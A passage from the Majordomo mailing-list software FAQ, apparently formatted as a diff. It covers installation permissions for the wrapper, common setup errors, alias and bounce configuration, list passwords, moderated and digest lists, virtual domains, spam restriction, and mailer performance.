the new release. You just need to do a +'writeconfig' for each list, and majordomo will update the .config file +using the existing values in the old .config file. Any new variables will be +set to defaults for a new list. + +1.5 - Where do I report bugs or get help with Majordomo? + +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, along with +many others, do answer questions on the mailing lists. Let me say that about +90% of the answers I get are from the documentation or this FAQ. Many of the +rest are answered by reading the source. It's really not that hard to figure +out. The remainder of the questions I get are usually sendmail questions, +which really should be asked in comp.mail.sendmail. + +If you need help, there is a mailing list majordomo-users@greatcircle.com, +which is frequented by lots of users of Majordomo. Report actual bugs to +majordomo-workers@greatcircle.com. It's a good idea to search or browse the +list archives below for the last couple months since many of the same +questions are asked (and answered) regularly. There are searchable list +archives (thanks to Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. + +Be sure always to include which version of Majordomo you are using. You +should also include what operating system you are using, what version of +Perl, and what mailer (sendmail, smail, qmail, etc) and version you are +using, especially if you can't get Majordomo to work at all. But first, you +must have thoroughly read the ALL the documentation in the Majordomo +distribution and this FAQ. If you got this FAQ from the Majordomo +distribution or anywhere except from the WWW site at the top of this +document it is probably not the most recent version. + +There is an FTP site for unofficial patches. See +http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . What's in it? Messages +that are saved from the majordomo-users and -workers mailing lists. There +are INDEX files in each part with one-line summaries of each patch, and a +README file in the top directory with overall information. If you have +patches that you think should be in the archive, you can FTP or email them +in. The top-level README file tells how to do it. Please contribute -- to +save other people the headaches you had. NOTE: The patches are NOT +"official" patches approved by Chan Wilson or anyone else. Use your own +judgment before (and after) you apply them. + +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add +various functions to majordomo. + +Do NOT ask questions about Majordomo on the list-managers@greatcircle.com +list. That list is for general discussions about running mailing lists, not +for help on specific packages. The same goes for the Usenet group +comp.mail.list-admin.policy. + +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html. + +Look for a great book out now from O'Reilly and Associates called "Managing +Mailing Lists", by Alan Schwartz. You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was one of the +book's technical reviewers. You can order the book at a discount (currently +20%) from amazon.com via the web: + + * http://www.amazon.com/exec/obidos/ASIN/156592259X/greatcircleassoc + +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their +support of the majordomo and list-managers mailing lists, as well as +distributing majordomo on their FTP site. + +1.6 - Which is better, Majordomo or LISTSERV? + +For a good comparison of various mailing list managers (MLM's) there's a +good FAQ by Norm Aleks. It is posted monthly to news.answers and +comp.mail.list-admin.software. It's also mirrored at the following URL. +http://www.faqs.org/faqs/mail/list-admin/software-faq. Contact +naleks@library.ummed.edu (Norm Aleks) for more information. + +1.7 - How can I access Majordomo via the Web? + +There are various Web interfaces to Majordomo available. Some are management +interfaces for list maintenance, and some are interfaces for list archives +(some do searching too). + + * LWGate - http://www.netspace.org/users/dwb/lwgate.html + * Regan's - http://www.peak.org/peak_info/mlists/Majordomo.html + * MajorCool - http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/ Link + dead.. it looks like it's supposed to be moved to + http://www.ncr.com/pub/software/MajorCool/. + * MailServ - http://www.csicop.org/~fitz/www/mailserv/ + * Pandora - http://www.ed.umuc.edu/pandora/ + * Maitre-d - http://www.landw.com/wps/content2.htm#ch12 + * Marcos' - http://www.inf.utfsm.cl/~marcos/majordomo/www.html + * ListTool - http://www.listtool.com/ + * Wilma (a list archive interface) - + ftp://sol.ccsf.cc.ca.us/majordomo-contrib/ + * ListQuest ( a list archive and search interface) - + http://lq.corenetworks.com/ + +1.8 - Is Majordomo Y2K (Year 2000) compliant? + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new 4-digit +year flags to archive you should not have any year 2000 problems. + +No one has officially certified Majordomo to be Y2K compliant, and I don't +foresee anyone paying money to do so, so don't go looking for someone to sue +if it breaks. All we are saying is that we know of no year 2000 issues with +Majordomo. + +That being said, as you can see by reading the Majordomo source, except for +the "archive" program majordomo doesn't directly deal with dates so it's +extremely unlikely there are any year 2000 issues. Even places where it does +use dates (archive) it doesn't do any date comparisons, which is the crux of +all non-cosmetic year 2000 bugs. At worst "archive" would overwrite your +100-year-old mailing list archives. I really really doubt Majordomo will +still be used for 100 years. + + ------------------------------------------------------------------------ + +Section 2: Problems setting up Majordomo + +2.1 - What are the proper permissions and ownership of all Majordomo files +and directories? + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security model +that Majordomo uses, and it's also due to the fact that it's hard to +automate this process. Once you install majordomo, run "./wrapper +config-test" as some other user (like you) and read the results. Do NOT run +"./wrapper config-test" as 'root' or your 'majordom' user. That will defeat +the test of the wrapper operation. The config-test script will check your +installation for correct permissions (as well as other tests) and report any +problems. It's not quite perfect, but it catches 95% of all problems. + +Majordomo works by using a small C "wrapper" which works by allowing it to +always run as the "majordom" user and group that you create. (note that the +wrapper may disappear in a future release, since its function could safely +be replaced by features found in Perl 5) You can use a different name than +"majordom" for your user and group, but that is what is assumed for the +explanations found in this document. The 1.94.3 INSTALL file suggests using +'daemon' as your majordomo group. This is the group that 'sendmail' runs as, +and allows you to have $homedir permissions set to 750. This has the +disadvantage in environments where there may be one or more administrators +of the Majordomo system or where you don't want to always have to 'su' to +the majordomo user to do administration. (you don't really want to put other +normal users in the 'daemon' group for security reasons) If you create a +separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and wrapper +have world execute permission, and you may have to add 'majordom' to the +'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x will +probably give "X-Authentication-Warning:"'s) + +Because Majordomo does not run with any "special" (root) privileges, and +because of the fact that Majordomo does a lot of .lock-style locking (with +shlock.pl), permissions on all files and directories are critical to the +correct operation of Majordomo. + +The wrapper + +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if your +system is POSIX or not, I would suggest you assume that your system is not. +(The default is POSIX) If things don't work right (for example you get +symptoms of permission problems or you get an error from the wrapper saying +to recompile using POSIX flags), then try POSIX. + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and +4.3-based systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI (and +other 4.4 BSD-based systems), Linux. + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to add +/usr/bsd to the W_PATH to get the hostname (needed by Perl) command. (IRIX +doesn't have a /usr/ucb). If you are on a non-POSIX system, the wrapper must +be both suid and sgid (mode 6755) to "majordom". It must not be setuid root! + +OR + +On a POSIX system the wrapper must be setuid root, and double-check that +W_USER and W_GROUP are the uid and gid of the "majordom" user and group. +Don't ever set W_USER to be 0! + +Then compile the wrapper and install it. Do not install the wrapper on an +NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +Majordomo files + +All files that majordomo creates will be mode 660, user "majordom", group +"majordom" if it is running correctly (see $config_umask in the +majordomo.cf). The "Log" file that Majordomo writes logging information to +must have this same permission and ownership. Make sure any files you create +by hand (.config, subscription lists) have this same permission and +ownership. (they can also be mode 664 if you don't need the contents to be +private to others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be readable to +the "majordom" user/group. All Majordomo programs (majordomo, resend, etc.) +must have the execute bit set. All Majordomo programs must have the correct +path to Perl in the #! line in the beginning of the script. The 'make +install' process should do this all automatically for you. + +Majordomo directories + +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) must be at +least mode 750 (or 755 if you don't use "daemon" as your majordomo group -- +see 2.3below.). They should be user and group owned by "majordom". If want +to allow a local user to be able to directly modify files or for example +copy files into a list's archive directory, you may make the directory or +file owned by that user. However directories and files must be then +group-"majordom" writable (770 or 775). + +2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation +not permitted" + +Most likely your wrapper is not installed correctly. Re-check the Makefile +and see if the wrapper was compiled with the right UID and GID. See the +README and the above section on how to set the permissions correctly. Make +sure after you fix the wrapper that you remove (or rename) any +"listname.new" or "L.listname" files found in your lists directory. These +will likely have the wrong ownerships, and cause you problems. + +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, it's a bug in config-test and should be +fixed. + +2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied" + +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The majordomo +$homedir needs to have permission of at least 751 (or 755), not 750. +Otherwise, sendmail won't have permission to execute the wrapper. You'll +need to do a 'chmod 755 $homedir' after you install majordomo. Make sure +'wrapper' also has world execute permission. Some people also have put the +user 'daemon' in the 'majordom' group. This works too. + +2.4 - I get "Unknown mailer error" when majordomo runs + +First, see Question 4.13 if you are running RedHat 5.2 and are getting +"Unknown mailer error 9". + +If something is wrong with your setup, the wrapper will often exit with +various return codes depending on what the problem is. In order to really +understand what is going on, look at the session transcript further down in +the bounce message to see the error which is returned from the wrapper or +from Majordomo. You should usually see some sort of error message. If you +just get a return code, check the Majordomo README for further explanation +on sendmail return codes. If you get "Unknown mailer error XX" where XX is +less than 255, look for the error in /usr/include/errno.h . Otherwise, see +the README. + +See section 1.1 above for what versions of Perl won't work with Majordomo. + +[reported by Russell Street] +You may also get problems when messages to majordomo are queued (for example +if you change sendmail's behavior to always queue messages rather than +perform immediate delivery). The problem was that if sendmail queues a +message it smashes the case in command lines and addresses when the queue +gets processed. This is in spite of the lines shown by mailq. This is +sendmail 5.x on Solaris 2.3, but it might apply to other versions of +sendmail. + +2.5 - I get an error "insecure usage" from the wrapper + +The argument to "wrapper" should be simply be the command, not the full path +to the command. "wrapper" has where to look compiled in to it (the "W_HOME" +setting in the Makefile) and for security reasons will not let you specify +another directory. + +Your alias should say for example: + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +2.6 - I get "majordomo: No such file or directory" from the wrapper + +Make sure that the #! statement at the beginning of all the Majordomo Perl +executables contain the correct path to the perl program (the default is +/usr/local/bin/perl). Note many UNIXes have a 32 character limit on that +path -- make sure it doesn't exceed this limit. Make sure also that +majordomo and all the related scripts are in the W_HOME directory as defined +in the Makefile when you compiled the wrapper. + +2.7 - I get an error "Can't locate majordomo.pl" + +[from Brent Chapman] +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, I'd +guess you have one of two problems: + +1) $homedir is set improperly (or not set at all; there is no default) in +your majordomo.cf file. + +2) majordomo.pl is not in $homedir, or is not readable. + +[from John P. Rouillard] +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the wrapper +always sets HOME to the correct directory, you get a nice default, unless +you are running a previously built wrapper, in which case you may get the +wrong directory. + +[from Andreas Fenner] +4) I had the same problem when I installed majordomo (1.62). My Problem was +a missing ";" in the majordomo.cf file - just in the line before setting +homedir .... My hint for you: Check your perl-files carefully. + +2.8 - I told my majordomo.cf where to archive the list, why isn't it +working? + +[From John Rouillard] +The archive variables in majordomo.cf aren't used to archive anything. You +have to use a separate archive program, or a sendmail alias to do the +archiving. The info is used to generate a directory where the archive files +are being placed by some other mechanism. + +You are telling majordomo to look in the directory: +/usr/local/mail/majordomo/archive/listname + +for files that it should allow to be retrieved using the get command. + +Majordomo comes with three different archive programs that run under wrapper +that do various types of archiving. Look in the contrib directory. + +2.9 - config-test can't seem to find ctime.pl or resend can't find +getopts.pl + +ctime.pl and getopts.pl are included in the standard Perl distribution. If +it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +2.10 - A list is visible via lists, but can't subscribe or 'get' files + +[From Brent Chapman] +I'll bet your list name has capital letters in it... Majordomo smashes all +list names to all-lower-case before attempting to use the list name as part +of a filename. So, while it's OK to advertise (for instance) +"Majordomo-Users" and have the headers say "Majordomo-Users", the file names +and archive directory names themselves all need to be in lower case. If you +want to use mixed case, simply configure the list using the lower-case names +everywhere, except put the mixed-case version in the "-l" and "-h" flags to +resend. + +2.11 - I get "sh: wrapper not available for sendmail programs" + +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this is done +by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to +Majordomo's wrapper program. + +2.12 - I get "aliasing/forwarding loop broken" + +[ Reported by Wade Williams ] +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. + +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section 2.1 above for the +full discussion of how to correctly set permissions on directories and files +within Majordomo. + + ------------------------------------------------------------------------ + +Section 3: Setting up mailing lists and aliases + +3.1 - How do I direct bounces to the right address? + +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you +have defined the "owner-listname" alias to point to the owner of the list. + +What this does is force outgoing mail to have the out-of-band envelope FROM +be "owner-listname", and thus all bounces will be redirected to that +address. (This address is what gets copied into the message body as the +"From " or "Return-Path:" header). 'resend' also inserts a "Sender:" line +with the same address to help people identify where it came from, but that +header is not used in the bounce process. + +If you are using sendmail v8.x, you don't have to use 'resend' to do the +same thing. You simply have to define an alias like this: + +owner-sample: joe, + +Note the trailing comma is necessary to prevent sendmail from resolving the +alias first before putting it in the header. Without the comma, it will put +"joe" in the envelope from instead of "owner-sample". Either address will +work, of course, but the generic address is preferred should the owner ever +change. + +However if you choose not to use 'resend', you will have to do without most +of majordomo's other features like moderating, administrivia checks, and +others. + +3.2 - Semi-automated handling of bounced mail + +This is not true automation of bounced mail. What this does is the next best +thing. You unsubscribe the user from the list, but add the user to a special +'bounces' list (there's a perl script in the distribution called bounce you +run to make this easier) The majordomo maintainer then runs (out of cron) +the 'bounce-remind' script periodically, which sends mail to all the people +on the bounces list, saying essentially "you were removed from list 'foo' +because mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming the +bounces list, but it's easy to write one because the date the person was +added to the bounces list is included (so you could write a perl script +which removes anyone on the list for more than one week, assuming you run +bounce-remind more than once a week). There's no facility for automatically +detecting what addresses are failing. You have to determine that based on +the bounce messages you receive from other sites. + +[From John Rouillard] +Just create a mailing list called "bounces". I usually set mine up as an +auto list just to make life easier. + +All that "bounce" script does is create an email message to majordomo that +says: + + approve [passwd] unsubscribe [listname] [address] + approve [passwd] subscribe bounces [address] + +The [address] and [listname], are given on the command line to bounce. The +address of the majordomo, and the passwords are retrieved from the +.majordomo file in your home directory. + +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.COM + bounces passwd3 Majordomo@This.COM + bounces passwd4 Majordomo@Other.COM + +A command of "bounce this-list user@fubar.com" will mail the following +message to Majordomo@This.COM: + + approve passwd1 unsubscribe this-list user@fubar.com + approve passwd3 subscribe bounces user@fubar.com (930401 this-list) + +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: + + approve passwd2 unsubscribe other-list user@fubar.com + approve passwd4 subscribe bounces user@fubar.com (930401 this-list) + +Note that the date and the list the user was bounced from are included as a +comment in the address used for the "subscribe bounces" command. + +3.3 - What's this Owner-List and List-Owner stuff? Why both? + +[From David Barr] +The "standard" is spelled out in RFC 1211 - "Problems with the Maintenance +of Large Mailing Lists". + +It's here where the "owner-listname" and "listname-request" concepts got +their start. (well it was before this, but this is where it was first +spelled out) + +Personally, I don't use "listname-owner" anywhere. You don't really have to +put both, since the "owner" alias is usually only for bounces, which you add +automatically anyway with resend's "-f" flag, or having Sendmail v8.x's +"owner-listname" alias. + +(while I'm on the subject) The "-approval" is a Majordomo-ism, and is only +necessary if you want bounces and approval notices to go to different +mailboxes. (though you'll have to edit some code in majordomo and +request-answer if you want to get rid of the -approval alias, since it's +currently hardwired in) + +So, to answer your question, I'd say "no". You don't have to have both. You +should just have "owner-list". + +3.4 - How should I configure resend for Reply-To headers? + +Whether you should have a "Reply-To:" or not depends on the charter of your +list and the nature of its users. If the list is a discussion list and you +generally want replies to go back to the list, you can include one. Some +people don't like being told what to do, and prefer to be able to choose +whether to send a private reply or a reply to the list just by using the +right function on their mail agent. Take note that if you do use a +"Reply-To:", then some mail agents make it much harder for a person on the +list to send a private reply. The most important reason why Reply-To: to the +list is bad is that it can cause mail loops if any of the members of your +list are running fairly-common but broken software which doesn't know what +an envelope address is. (Many Microsoft products, as well as many other +PC-based non-SMTP/Internet mail systems which work through an SMTP gateway.) + +You should read the following FAQ on why you shouldn't set the Reply-To: +field. http://www.unicom.com/pw/reply-to-harmful.html + +If you are using resend, use the 'reply_to' configuration variable in the +list .config file. + +3.5 - How can I hide lists so they can't be viewed by 'lists'? + +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the sender. +A list display follows the rules: + + 1. If the from address is on the list, it is shown. + 2. If the from address matches a regexp in noadvertise (e.g. /.*/) the + list is not shown. + 3. If the advertise list is empty, the list is shown unless 2 applies. + 4. If the advertise list is non-empty, the from address must match an + address in advertise. Otherwise the list is not shown. Rule 2 applies, + so you could allow all hosts in umb.edu except hosts in cs.umb.edu. + +3.6 - How can I restrict a list such that only subscribers can send mail to +the list? + +See the restrict_post variable in the config file. Just set it to the +filename that holds the list of subscribers, which is just simply the name +of the list. ("restrict-post = listname"). However, there is an issue to +keep in mind. Majordomo works by filtering the messages coming in through +the "listname" alias, doing its dirty work, then passing the resulting +message out to another alias you define like "listname-outgoing". If you +trust people to not send mail directly to the "listname-outgoing" alias, +then you'll be fine. If however you're not trusting, there are several steps +to make sure people don't bypass the restrictions of the list. + +There are several methods. First you need to change your "listname-outgoing" +alias such that it is not obvious. (That means don't use something easy to +guess like "-outgoing" or "-list"). Next, you need to make it such that +people can't find out what your -outgoing alias is. + +You can use the "@filename" directive of resend. Put the all the normal +command-line options of resend into a file readable only by the majordomo +user/group. Then the alias for the list simply becomes ".../resend +@/path/to/filename". This will make it such that you can't find out the +-outgoing address by connecting to your mailer and doing an EXPN or VRFY. +The "@filename" directive seems to have fallen into undocumentation for some +reason. This should be fixed in future releases. This doesn't prevent a user +reading the local /etc/aliases file (if they can), however. + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is done by +adding "noexpn" to the "O PrivacyOptions=" line in your sendmail.cf +(multiple options are separated with a comma). However this doesn't prevent +a local user reading the aliases file. This isn't generally a problem if +your mail server is restricted to staff only users. + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the "Received:" +lines. To prevent this you need to specify more than one address for the +list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l mylist +mylist-seekrit,nobody"" where nobody is an alias for /dev/null) For Sendmail +8.x you must not define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the envelope +address of outgoing mail to contain your secret outgoing alias. Again if +you're using the @filename directive, the entire command line is simply put +into the specified file (starting with "-h foo.org ...". + +Here's another creative idea from matt@primefactor.com (Matt Perry): + +I've had a report that this no longer works with sendmail 8.9.1 + +Sendmail allows you to rewrite incoming and outgoing addresses. The one that +handles incoming is virtualusertable.text. For a list called test with the +test-outgoing alias, I put the following into my virtualusertable.text file +and remade the db with the appropriate command: + +test-outgoing@mydomain.com error:nouser User unknown + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown". + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to +the list, and sending to the list that way. Of course a spammer can also +subscribe to the list legitimately and then send spam. The restrict_post +option blocks the vast majority of problems, however. + +3.7 - Can I have the list owner or approval person be changeable without +intervention from the Majordomo owner? + +Sure! Just make owner-listname and/or listname-approval be another majordomo +list. (probably hidden, for simplicity's sake) + +3.8 - What are all these different passwords? + +Think of three separate passwords: + + 1. A master password that can be used by both resend and majordomo + contained in [listname].passwd. To be used by the master list manager + when using writeconfig commands etc. This allows someone who handles a + number of mailing lists all using the same password. This is also a + "backup password" in case the .config file gets corrupted. + 2. A password for the manager of this one list. The admin_passwd can be + used by subsidiary majordomo list maintainers. + 3. A password for those concerned with the list content (approve_passwd) + +This way the administration and moderation functions can be split. The +original reason for maintaining [listname].passwd was to allow a new config +file to be put in if the config file was trashed and the admin_password was +obliterated, and may still be useful to allow a single password to be used +for admin functions by the majordomo admin or some other "superadmin". + +Note that the admin passwd in the config file is not a file name, but the +password itself. This is the only way that the list-maintainer could change +the password since they wouldn't have access to the file. + +3.9 - How do I tell majordomo to handle "get"-ing of binary files? + +Majordomo is not designed to be a general-purpose file-by-mail system. If +you want to do anything more than trivial "get"-ing of text files (archives, +etc) than you should get and install ftpmail. Majordomo has hooks to allow +transparent access to files via ftpmail (see majordomo.cf). See the +beginning of this FAQ for where to get ftpmail. + +3.10 - How do I set up a moderated list? How do I approve messages? + +First, you need to tell Majordomo that the list is moderated. In the +configuration file for the list, you set "moderate = yes". Do not try to use +the now-deprecated "-A" option to resend. In fact you shouldn't be using ANY +options to resend except "-h" and "-l", since all the others are handled in +the config file. + +Any mail which is not "approved", gets bounced with "Approval required". If +the moderator wishes to approve the message for the list, then you need to +tag the message as "approved" and send it to the list. The "approve" script, +which comes with Majordomo, automates this for you. Whenever you get a +message which needs approval, from your mail reader pipe the message through +"approve". The password for each list needs to be put in your .majordomo +file. Read the "approve" script for more information. + +If you don't have access to "approve" (e.g. you're not on a UNIX system with +Perl), you have to do it by hand. The easiest way is to forward the original +message to the list, add the line "Approved: approval-password" to the very +first line of the body, and then the entire contents of the original +message. (meaning there should not be a blank line before and after the +"Approved:" line.). Don't forget to edit out the headers which were added by +the bounce process. + +For example: + +To: your-list@example.com +Subject: doesn't matter + +Approved: your-approval-password +Received: by some.site.org.... +Received: by another.site.org.... +From: joe@another.com (Joe User) +Subject: this list is great! +To: your-list@example.com + +Hey, this list is great, and the moderator sure is sexy! + +Joe + +It's also possible, if your mailer allows it, to approve a message another +way by just inserting an Approved: header in the original body and passing +the original message on without adding your own header. This is in a sense +"forging" mail, so many mailers either won't allow it or will insert some +sort of authentication warning. This form is used most often by moderators +when they send mail to the list and don't want to go and approve their own +message again. Here's an example: + +To: your-list@example.com +Approved: your-approval-password +Subject: Thanks! + +I like this list too, but sorry, I'm married! :-) + +-- your moderator + +Note that this requires a mail-user-agent (MUA) that allows one to add +headers to a message. If your MUA doesn't let you do this, you'll need to +use the first method. + +Note that in either case the "Approved:" line will be stripped out by +Majordomo before it gets sent to the list, so the list members won't see +your list password. + +3.11 - How do I set up a digested version of a list? + +[ Modified from explanation given by jmb@kryten.atinc.com (Jonathan M. +Bresler)] + + * Create aliases for the mailing list and the digest. See section 2.2 of + the README for an example. + * create an alias for the majordom(o) user, so that his cron generated + mail comes to me, rather than just piling up in + /usr/local/mail/majordom. + * create the list's and the digest's files, (widget, widget-digest, + widget.config, widget-digest.config, etc.). Edit the + widget-digest.config file and make sure all the digest options are set + to your tastes. + * create the digest directory and archive directory. See FAQ section 2 on + how to set permissions on all majordomo files and directories. You must + have archives if you have digests so the digester can make the digest. + You can purge the archive after the digest is generated. + * Add yourself to both the mailing list and its digest so you can monitor + what happens...at least for a while (not a bad idea to create a dummy + user, and subscribe him to both the mailing list and its digest. This + preserves a record of messages for debugging. Don't forget to remove + this account and unsubscribe it after debugging.) + * Optionally you may use cron to send a mkdigest to push out a digest at + set intervals regardless of the number of queued messages. See the + question Why aren't my digests going out?". + +3.12 - How do I setup virtual majordomo domains? + +[From Alan Millar, et. al.] +Set up a majordomo.cf file for each virtual domain, defining $whereami as +appropriate. Use your mailer's virtual domain stuff to get to it, making an +alias for it if necessary. + +For sendmail, be sure to check out +http://www.sendmail.org/virtual-hosting.html first. + +Alias entry: + + majordomo-domain2: |"/your/wrapper majordomo -C /your/domain2.cf" + +Virtual domain stuff (in your virtusertable): + + majordomo@domain2 majordomo-domain2 + majordomo-owner@domain2 whoever + +I use the sendmail virtual domain examples right off the Sendmail FAQ. Works +for me. + +You'll need to modify request-answer slightly if you want the virtual host +to be used there in replies. Look for: + +From: $list-request + +in the source and change it to: + +From: $list-request\@$whereami + +Don't forget to use the -C option to request-answer for your virtual +aliases. + +Check out http://o2.towery.com/~ernestm/admin/majordomo/majorvirt.html also +for good instructions on configuring virtual domains with Majordomo. + +3.13 - How can I stop people from using my mailing list to spam my +subscribers? + +[From mcr@solidum.com (Michael Richardson) ] +There are two approaches to solving spam. They are complementary. + +The most general solution is to make sure that your list host will not +accept spam. See http://spam.abuse.net/ for extensive recipes on this. + +The majordomo specific way is to use the "restrict_post" mechanism to +disallow posts from addresses that are not on the list. Please see section +3.6 for some of the pitfalls of using restrict_post. They all apply. My +experience is that spammers have not yet learnt about the "-outgoing" alias, +and the techniques in section 3.6 would apply when they do. + +The major objection to using restrict_post to deflect spam is that it may +deflect posts from legitimate people -- people who've subscribed with one +address but are posting from another address. It may also restrict +cross-posts from other lists, or from people who read the list via news. + +The solution to the above objections is twofold: + + 1. the moderator must forward legitimate posts. This can be a pain, but it + does work. + 2. the restrict_post header can be extended. + +The typical way to do #2 is to set restrict_post to: + +mylist:mylist-nomail + +Then, create a configuration file and password for "mylist-nomail", but DO +NOT create any aliases. (If you use something like mj_build_aliases, then +don't set the owner) + +The moderator, or subscribers may then subscribe themselves to this second +list. Subscribers to the -nomail list will then be allowed to post to the +first list, but won't receive duplicate copies of the first list. + + ------------------------------------------------------------------------ + +Section 4: Mailer and list administration problems + +4.1 - Address with blanks are being treated separately + +If a subscriber to the list is +John Doe < jdoe@node.com> + +it gets treated these as the three addresses: +John +Doe +< jdoe@node.com> + +[From Alan Millar] +Majordomo does not treat these as three addresses. Apparently your mailer +does. + +Remember that all Majordomo does is add and remove addresses from a list. +Majordomo does not interpret the contents of the list for message +distribution; the system mailer (such as sendmail) does. + +I'm using SMail3 instead of sendmail, and it has an alternative (read +"stupid") view of how mixed angle-bracketed and non-angle-bracketed +addresses should be interpreted. I found that putting a comma at the end of +each line was effective to fix the problem, and I got to keep my comments. +So I patched Majordomo to add the comma at the end of each address it writes +to the list file. + +You can also change to "strip = yes" in the config file so that none of the +addresses are angle-bracketed. + +4.2 - Why aren't my digests going out? + +[from John Rouillard] + + echo mkdigest [digest-name] [digest-password] | mail majordomo@... + +This will force a digest to be created. Or you can set the max size in the +digest list config file down low, and force automatic generation. + +4.3 - Why do I get duplicate mail sent to the list? + +If you're running MMDF, read on: [From Gunther Anderson] +Well, I can tell you what happened to me recently. We use MMDF here, which +certainly colors the picture a little. What was happening here was that MMDF +was verifying the validity of the whole mailing list before returning from +the Submit call. The thing calling the Submit would time out and close, but +the Submit itself would still be running somewhere. The calling routine +would believe that the message had failed in its delivery, but the Submit +would eventually succeed. The calling process would try again some time +later. This, of course, is bad. The larger the list got, the more addresses +there were to verify (verification was really just a DNS search on the +target machine name), the more likely, under load, that the message would +duplicate. We finally got so large, with so many international addresses +(which seem to timeout on DNS queries much more often than US addresses) +that we were always duplicating. Infinitely (until I killed the original +submitter). + +The solution for us was MMDF-specific. We used a different channel for +submission and delivery, one which deliberately doesn't verify the addresses +before accepting a job. We used the list-processor channel, and only had to +check that the listname-request name was set properly, because +list-processor insists on making listname-request the envelope "From " +header name. + +If you're running Sendmail, this is more rare. There have been unconfirmed +reports that on some systems having the queue process interval set too short +can cause problems, even though sendmail is supposed to handle this. +Workarounds are to increase your queue process interval (-q flag), or +decrease the interval between queue checkpoints (OC flag in sendmail.cf). + +There have been many reports from Linux users complaining about duplicate +mail. The problem seems to be that flock() under Linux is broken. This may +be fixed in a future release, but for now in sendmail's conf.h in the #ifdef +__linux__ section add a line #define HASFLOCK 0. There are also reports that +some versions of the libc have problems, and that linking with the +libresolv.a from a recent BIND version will work around the problem. +[ Please let me know if you have any more information --ed ] + +4.4 - How do I gate my list to and/or from a newsgroup? + +The easiest method is to use a program called newsgate. You can find it at +ftp://ftp.isc.org/isc/inn/contrib/. Installation instructions are +straightforward, it provides sample entries for your newsfeeds/sys file and +aliases entries. The newsgate package includes news2mail and mail2news. + +4.5 - How can I improve Majordomo's performance? + +Mail to list throughput + +Majordomo does very little except pass each message to the list through +'resend', and then pass it on to your mailer for distribution. Improving +your mailer is the first step towards improving speed of delivery of mail to +the list. Upgrading your sendmail to version 8.x will improve things +greatly, as this version has a lot of enhancements which use connections +more efficiently. For most lists, this is enough. Majordomo itself doesn't +use very much in the way of resources except perhaps memory. Adding more +memory will help if your machine does a lot of paging during mail delivery. + +Using other mailers instead of sendmail has met with varying success. Exim +can also be used (see http://www.exim.org/). qmail has been used with +majordomo, and performance with either Exim or qmail I'm told generally will +well exceed that of sendmail. At least qmail also is written in a far more +secure way than sendmail (some would say paranoid). See +http://www.qmail.org. The qmail site includes at least one way to get +majordomo to work with qmail. Note that it is possible to get majordomo +working under qmail without using the 'wrapper', which is a nice idea. Some +majordomo-under-qmail solutions just involve qmail's sendmail emulation +feature. For more info, see the Using Majordomo with qmail FAQ, written by +Russ Allbery. + +If you are using Exim instead of sendmail there are more things you can do. +Instead of concealing the -outgoing addresses, it is possible to configure +Exim so that those addresses are only usable by the local majordomo user. A +description of how to do that can be found at +http://www.netmaster.ca/exim/majordomo.html as well as other information +about configuring majordomo with Exim. + +If your lists are very large you may try installing bulk_mailer, by Keith +Moore. It pre-sorts the list into chunks grouped by 